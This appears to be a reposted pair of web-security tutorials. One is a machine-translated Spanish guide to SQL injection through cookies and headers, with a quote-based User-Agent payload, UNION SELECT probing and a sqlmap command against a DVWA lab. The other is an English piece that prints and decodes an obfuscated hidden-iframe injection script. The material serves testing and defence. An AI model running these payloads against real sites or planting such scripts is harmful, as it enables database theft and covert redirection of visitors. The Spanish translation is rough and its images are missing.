    GET /index.php HTTP/1.1
    Host: [host]
    User-Agent: aaa' or 1/*
    
    Referer: http://www.yaboukir.com


    Perspectiva del atacante?

    Como todos sabemos, los errores de inyección se clasifican los primeros en el OWASP Top 10 Los riesgos de seguridad de aplicaciones Web. Los atacantes están buscando cada vez más para los puntos de inyección para tener acceso total de sus bases de datos. No importa el tipo de la entrada del punto de inyección, ya sea un GET, POST, Cookie o otras cabeceras HTTP; lo importante para los intrusos es siempre tener al menos un punto de inyección que permiten a iniciar la fase de explotación.

    Inyecciones SQL basadas probar manualmente Cookies

    En esta sección, vamos a introducir algunos métodos de control de las variables HTTP cookies.

    El uso de un Navegadores Add-on

    Cookies Manager+

    Cookies Manager + permite ver, editar y crear nuevas cookies. También permite mostrar información adicional acerca de las cookies y permite editar varias Cookies a la vez, así como copia de seguridad / restauración de ellos.

    Después de instalarlo, en el menú Herramientas, seleccione Administrador de cookies +. Seleccionamos una variable de cookies relacionadas con la aplicación de destino.



    Vamos a editar la variable language_id. Para averiguar la falla de inyección SQL, vamos a añadir una quote "'" en el campo
    contenido de la variable de language_id.



    Después de actualizar la página o hacer clic en otro enlace interno de la aplicación, la aplicación envía la solicitud mediante la cookie HTTP editado. El resultado se dispara un error SQL:



    Este error de base de datos nos está alertando de un fallo de inyección SQL susceptible.

    La ventaja de utilizar cookies Gestor + es que es fácil de usar, actúa directamente en la cookie y guarda el valor anterior edición de la cookie.

    Vamos a tratar de determinar el número de columna utilizando otro Firefox plug-in.

    Tamper Data:

    Tamper Data es un poderoso complemento de Firefox para ver y modificar HTTP / HTTPS y los parámetros encabezados de correos.

    Después de instalarlo, en el menú Herramientas, seleccione Tamper Data. Comience manipulación petición HTTP, haga clic en el botón Star Tamper.

    Al poner en marcha cualquier solicitud de la aplicación de destino, Tamper Data abre un cuadro y le pregunta si se quiere alterar la actual solicitud HTTP acaba de enviar.

    ng

    Después de hacer clic en Tamper, tenemos la ventana emergente completa Tamper:



    Añadimos: order by 4 en la variable de cookie HTTP como se muestra en la captura de pantalla anterior. La respuesta es normal de la aplicación.



    Incrementamos el número y añadimos esta vez:. Order by 5 La respuesta a esta inyección es el siguiente:



    Así que podemos concluir que el número de columnas es de 4.

    Ahora, vamos a tratar de averiguar las columnas afectadas con el fin de inyectar en ella más consultas SQL. Por lo tanto, vamos a añadir la siguiente consulta en la variable de cookie HTTP language_id:

    -1 + UNION + ALL + SELECT +1,2,3,4

    La explotación puede necesitar técnicas de inyección SQL a veces avanzadas.

    El uso de escáner automatizado de pruebas de penetración

    Sqlmap como ejemplo

    Sqlmap es una herramienta popular de código abierto de pruebas de penetración, que automatiza el proceso de detectar y explotar los errores de inyección SQL y hacerse cargo de los servidores de bases de datos.

    Sqlmap compatible con las características de HTTP Cookies por lo que puede ser útil en dos sentidos:

    *La autenticación basada en cookies cuando la aplicación web requiere que.
    *La detección y explotación de inyección SQL en dichos valores de Headers.

    By default sqlmap defecto todos los parametros GET y parámetros POST. Cuando el valor de nivel se establece en 2 o por encima de ella también pone a prueba los valores de encabezado HTTP cookies. Cuando este valor se establece en 3 o superior, que pone a prueba también HTTP User-Agent y HTTP Referer valor de encabezado de inyecciones SQL. Sin embargo, es posible especificar manualmente una lista separada por comas de parámetro (s) que desea sqlmap para probar. Esto omitirá Bypass de la dependencia del valor de nivel también.

    Nivel de parámetros HTTP------------sqlmap

    GET 1 (Default)
    POST 1 (Default)
    HTTP Cookie 2 ≥
    HTTP User-Agent 3 ≥
    HTTP Referer 3 ≥

    Por ejemplo, para la prueba de Identificación de parámetros GET y HTTP User-Agent sólo, proporcionar-p id, user-agent.

    Este es un ejemplo de cómo podemos probar el parámetro denominado seguridad de una cookie HTTP del DVWA (Web Application Damn Vulnerable).


    ./sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#'
    --cookie='PHPSESSID=0e4jfbrgd8190ig3uba7rvsip1; security=low'
    --string='First name' --dbs --level 3 -p PHPSESSID


    The flag-string compare las páginas válidos y una inválida (a causa de la inyección). En el otro lado, the flag-DBS se utiliza para enumerar los sistemas de gestión de base de datos. Por último, the flag-P Force la prueba de la variable PHPSESSID.



    Herramientas para la inyección de prueba SQL: elegir por su precisión en la detección o por su cobertura de vector de entrada?

    Con el fin de responder a esta pregunta, hemos explotado los resultados del índice de referencia proporcionado por sectoolmarket.com. Hemos tomar en la hipótesis de que la precisión en la detección de los escáneres de candidatos tiene la misma importancia que los vectores de entrada de la cobertura y apoyo. Hemos considerado GET, POST, HTTP Cookies y HTTP Headers como los vectores de entrada que deben ser apoyadas. Cuando se admiten todos estos parámetros, los escáneres hacen una tasa de 100% de cobertura (4/4).

    Sugerimos la siguiente ecuación de la media aritmética de adaptar una puntuación de equilibrio para los escáneres de vulnerabilidad.

    Después de equilibrar las tasas obtenidas con el porcentaje de precisión en la detección, nos detuvimos por este resultado por debajo de los 14 primeros escáneres.

    Podemos mostrar un gráfico que representa los escáneres de vulnerabilidad por su puntuación equilibrada que define tanto por su precisión en la detección de errores de inyección SQL y su cobertura vector de entrada.



    ¿Qué sigue?

    Para los desarrolladores

    Cookies y otras cabeceras HTTP almacenados deben ser tratados por los desarrolladores como otra forma de entrada del usuario y se someterán a las mismas rutinas de validación.

    Para testers

    La manipulación de la información del encabezado HTTP en solicitudes de páginas (sobre todo los campos REFERER y USER-AGENT) es importante identificar si la aplicación es vulnerable a los vectores de inyección SQL o incluso a otras vulnerabilidades estándar (XSS). Es una buena práctica para definir y describir todos los aspectos que un usuario puede manipular los datos que es utilizado por la aplicación. Estos datos pueden ser almacenados, descabellada y se procesan Cookies, HTTP-headers (like HTTP_USER_AGENT ), form-variables (visible and hidden), Ajax-, JQuery-, XML-requests. x

    Saludos y gracias por su preferencia
    Saludos a DARKSPARK

    Visitar la fuente para imágenes y códigos mejor organizado :)

    http://krauser.diosdelared.com/?coment=12579

    How to Exploit an Iframe Vulnerability & Security

    0 comentarios

    Web application security is always an important topic to discuss because websites seem to be the first target of malicious hackers. Hackers use websites to spread their malwares and worms, and they use the compromised websites for spamming and other purposes. OWASP has created an outline to secure a web application from the most dangerous vulnerabilities in web application, but it is always good to be actively learning about the new weaknesses and the new ways that an attacker might use to hack into a web application.


    Hackers are always trying to discover new ways to trick a user so from a penetration tester’s point of view a website administrator should take care of each and every vulnerability and the weaknesses that an attacker may exploit to hack into a website. There are so many automatic tools and manual techniques available to test a website for the most common vulnerabilities, like SQL-injection, cross site scripting, security misconfiguration and others, but we should take care about the variant of these vulnerabilities. SQL-injection is dangerous because an attacker may get access into a database and steal the information of the user and the administrator of the website, but what if an attacker simply hijacks the user or simply redirects your visitor to a malicious website. This can break the trust of the visitor on your website.

    In this article, we will discuss the attack at HTML level or attack at HTML codes, iframe is the part of HTML or a technique used in HTML to embed some file (document, video and others) in the same HTML page. The simple way to explain iframe is that “iframe is the technique to display the information from another web page within the same (current) page”. Security risk in iframe is an important topic to discuss because the usage of iframe is very common- even the most famous social networking websites are using iframe. The simple attribute to use iframe is as follows:


    The above statement shows how to display another website within a website.

    Example 2:



    Width and height of an iframe has been defined, but since the frame visibility is hidden there is no physical presence of Infosec Institute’s website. This technique is not used by the attacker because the frame occupies the area (width and height).


    Now it is completely hidden from the user’s eye, but the iframe is working as normal. Look at the picture below.



    Obfuscated iFrame Injection Attacks

    Obfuscated iframe injection attack is a dangerous and tricky attack because it is very difficult to detect and find the malicious injection code on a website. Obfuscated is the way to hide the meaning of the communication so that it is difficult to find the injected code. The aim of this attack is the same- to trick the user and then redirect to the third party web page to exploit the user. If a website has been compromised by using iframe injection attack, then it is easy to find and locate the injection code because the code is easy to read. However, in an obfuscated iframe injection attack, it is not easy to read the injected code.

    Let’s consider an example- A website has been compromised and it redirects or displays another web page within a page to sell some products. The visitor of this website trusts your website, and they usually purchase products so you need to make sure to clean the website from this tricky attack. A simple way is to review the index page for the possible iframe and redirect code. Let’s suppose you have reviewed but have not found any URL of the third party website. Now, there is no URL of the third party website so what is the problem? Sometimes attackers use human weaknesses (social engineering technique) in a web application attack. Let’s suppose there is a code like:

    ++++%23wp+/+GPL%0A%3CScript+Language%3D%27Javascript%27%3E%0A++++%3C%21--%0A++++document.write%28unescape%28%273c696672616d65207372633d27687474703a2f2f696e666
    f736563696e737469747574652e636f6d2f272077696474683d273127206865696768743d273127207374
    796c653d277669736962696c6974793a2068696464656e3b273e3c2f696672616d653e%27%29%29%3B%0A

    ++++//--%3E%0A++++%3C/Script%3E

    It seems to be normal and an important code for this website; but in reality, it is the root cause of the problem. Let’s decode it by using the java decoding function and the result is:
    #wp / GPL

       
    -->

    Again, it seems to be a legitimate piece of code because the attacker has created it very carefully and used the term “GPL” “wp” and “Java” so the code seems to be legitimate. In actuality, it is the root cause but how can this be confirmed. Everything is good with the code, but the numbers and letters seems to be HEX. In the next step, we need to decrypt it via hex decoder. Remember take only:
    3c696672616d65207372633d27687474703a2f2f696e666f736563696e737469747574652e636f6d2f272
    077696474683d273127206865696768743d273127207374796c653d277669736962696c6974793a206869

    6464656e3b273e3c2f696672616d653e


    The result is:


    Now, you can imagine why it is difficult to fight against the obfuscated iframe injection attack.

    Para visualizar bien los códigos visitar la fuente.

    Fuente: 
    http://www.ehacking.net/2012/07/iframe-security-vulnerability.html


    Powered by Bad Robot
    Helped by Blackubay